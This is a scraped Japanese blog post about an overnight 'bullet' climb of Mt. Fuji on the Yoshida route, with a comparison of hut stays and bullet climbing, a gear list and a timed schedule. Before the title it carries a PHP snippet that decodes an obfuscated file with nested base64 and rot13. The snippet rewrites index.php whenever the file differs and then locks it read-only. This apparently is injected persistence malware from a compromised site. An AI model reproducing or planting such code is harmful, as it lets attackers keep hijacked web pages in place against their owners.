$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } 富士山 吉田ルートで弾丸登山 | TAKUTIVITY – タクティビティ

富士山 吉田ルートで弾丸登山

スポンサーリンク

御来光目的で富士登山をする場合の選択肢としては、山小屋に1泊するか弾丸登山にするかの2択になります。弾丸登山とは夜に出てそのまま一気に山頂まで行って御来光を拝んでから下山するというもので、登山としては推奨されているものではありません。多くの富士登山者が弾丸登山を行っていることから自粛を促されていることから、若干その数は減っているそうです。しかし、最近では海外からの観光客を中心にまだまだ弾丸登山者が多いようです。

2019年シーズンは私は弾丸登山を選択しました。本当は小屋泊しても良いのですが、同行する知人に富士山の小屋泊の話をしたところかなりの拒否反応を示したこともあり今回は弾丸ということになりました。

実際には無謀な弾丸登山にならないよう、しっかりと計画し休息を取りながら登山を行うようにしました。弾丸登山に明確な定義はありませんが、一般的に言われているのは十分な休息を取らないで一気に頂上を目指しそのまま下山するということ。今回は知人も同行するということで休息を十分にとりながら行うにしました。計画したスケジュールは下の方にあるので興味のある方は参考にしてみてください。

富士山での小屋迫と弾丸登山の違いは?

具体的な話に入る前に富士山における小屋泊と弾丸登山がどのように異なるのかお伝えします。

富士山での小屋泊

御来光目的のような日付をまたぐ登山の場合は小屋泊が強く推奨されています。しかしながら富士山での小屋泊の現状は快適とは言えません。料金はビジネスホテル並みですが食事は簡素で寝床はすぐ両隣に他人がいます。どのくらい近いかと言うと寝返りを打つのも難しいくらい近いです。ただ、あの環境に宿泊施設があること自体有り難いことです。でも神経質な人はかなり苦痛でしょうね。実際、私も過去に2度富士山の山小屋に宿泊したことがありますが、2回とも熟睡は皆無でごまかしながら目をつぶっていただけです。そんな中でもいびきをかいて寝いているおっさんとか絶対1人はいます。なので耳栓必須。アイマスクも持参した方がいいですよ。

富士山での弾丸登山

弾丸登山は十分な休息をとらずに夜通し歩き続けて山頂を目指すスタイル。通常の登山よりもリスクが大きくなるため公には自粛するよう促されています。その数は減ってきているそうですがまだまだたくさんの人が弾丸登山を行なっています。実際、弾丸登山はかなり辛いです。一晩中寝ない上に坂道を歩き続けなければなりません。普段運動していない人が弾丸にチャレンジする場合は相当覚悟して臨んだ方が良いと思います。

富士山の夜間登山計画

今回は初心者の友人も同行したこともあり吉田ルートを選択。吉田ルートは4つのルートの中でも比較的登りやすく人気なルートです。人が多いこともありハイシーズンになると8合目手前くらいから渋滞するのは有名ですね。

持ち物

  • 帽子
  • 半袖Tシャツ2枚
  • 長袖Tシャツ2枚
  • ショートパンツ
  • トレッキングパンツ
  • コンプレッションタイツ
  • 厚手ソックス3枚
  • レインウエア上下
  • ウインドウジャケット2枚
  • サーモジャケット2枚
  • ニット帽
  • ネックウォーマー
  • トレッキンググローブ
  • ゲイター
  • トレッキングポール
  • ヘッドライト2つ
  • 予備乾電池
  • ファストエイド
  • 行動食
  • アルパインサーモボトル(お湯入り)
  • インスタントコーヒー
  • コップ
  • ハイドレーションシステム
  • 登山ザック(モンベルのチャチャ)

画像が一通り持っていったものです。持って行かなかったものも含まれています。右下のやつなんかは山頂でカップラーメンやろうかと持って準備したストーブ類ですが、晴れを確信できなかったので直前で持っていくのを止めました。また、ウインドウジャケットは2枚持っていきましたが、同行した知人に貸すことになるであろうという予測で持っていったので1人分としては少し多めな装備になりっております。

かなり慎重な装備だと自分でも思います。それもこれも数年前富士山で悪天候のためにかなり辛い目にあったので入念な準備は欠かせないという思いの元ここ数年はこんな感じです。

計画スケジュールと実際の比較

今回計画したスケジュールを公開します。おススメはしませんが、弾丸登山を考えている方は参考にしてみてください。比較的現実的なスケジュールだと思います。

場所計画実績コメント
吉田ルート5合目20:4521:04
6合目21:2021:31
7合目着22:1522:09少し遅れ気味だったのを取り返しました
8合目着0:001:00雨が降ってきたのでここで30~40分ほど休憩。雨雲が通り過ぎるのを待ちます。下手に動いて体を濡らさないように。
本8合目2:002:42
山頂4:004:25御来光の時間には間に合いました。普通ならここから剣ヶ峰に向かってますが知人の体力を考慮しここで御来光を待つことにしました。
剣ヶ峰4:506:13
山頂(須走・吉田口)5:506:47
本8合目7:007:29
7合目8:10
6合目8:109:20
吉田ルート 5合目9:159:56

今回の富士登山の感想

個人的にはかなりスムーズに進行できた登山です。計画とは少しズレがありますが、途中の休憩や待機の判断など過去の経験を活かせたと思います。

コメント